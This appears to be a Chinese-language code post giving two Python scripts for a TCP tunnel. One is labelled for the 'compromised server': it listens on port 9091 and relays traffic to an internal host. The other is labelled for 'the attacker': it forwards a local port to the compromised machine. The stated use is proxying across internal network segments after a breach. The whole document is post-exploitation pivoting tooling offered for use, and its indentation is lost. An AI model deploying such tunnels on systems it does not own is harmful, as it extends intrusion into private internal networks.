socket tcp隧道代码
沦陷的服务端
"""
作者:果汁天下苏
语言:python
种类:tcp隧道
用途:内网跨网段代理
可优化方向:命令行命令调用
"""
import socket
import threading
def data(s,a):
while True:
buf = a.recv(1024)
if buf:
print("当前IP{} ========> 发送IP{} 字节长度{}".format(s.getpeername(), a.getpeername(), len(buf)))
s.send(buf)
def proxy(rever_connt):
proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_socket.connect(("192.168.0.104", 80))
print("链接信息:{}".format(rever_connt.getpeername()))
threading.Thread(target=data, args=(proxy_socket,rever_connt)).start()
data(rever_connt,proxy_socket)
def main():
socket_rever = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_rever.bind(("0.0.0.0", 9091))
socket_rever.listen(50)
print("---等待连接---")
while True:
rever_connt, addr = socket_rever.accept()
threading.Thread(target=proxy,args=(rever_connt,)).start()
if __name__ == '__main__':
main()
攻击者的tcp连接
"""
作者:果汁天下苏
语言:python
种类:tcp隧道
用途:内网跨网段代理
可优化方向:命令行命令调用
"""
import socket
import threading
def data(s,a):
while True:
try:
buf = s.recv(1024)
if buf:
print("当前IP{} ========> 发送IP{} 字节长度{}".format(s.getpeername(), a.getpeername(), len(buf)))
a.send(buf)
except:
pass
def proxy(server):
cliet_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
cliet_socket.connect(("192.168.0.113", 9091))
threading.Thread(target=data, args=(server,cliet_socket)).start()
data(cliet_socket,server)
def main():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("127.0.0.1", 3334))
server_socket.listen(50)
print("---等待连接---")
while True:
listen_socket, addr = server_socket.accept()
print("正在连接的IP{}".format(listen_socket))
threading.Thread(target=proxy,args=(listen_socket,)).start()
if __name__ == '__main__':
main()
|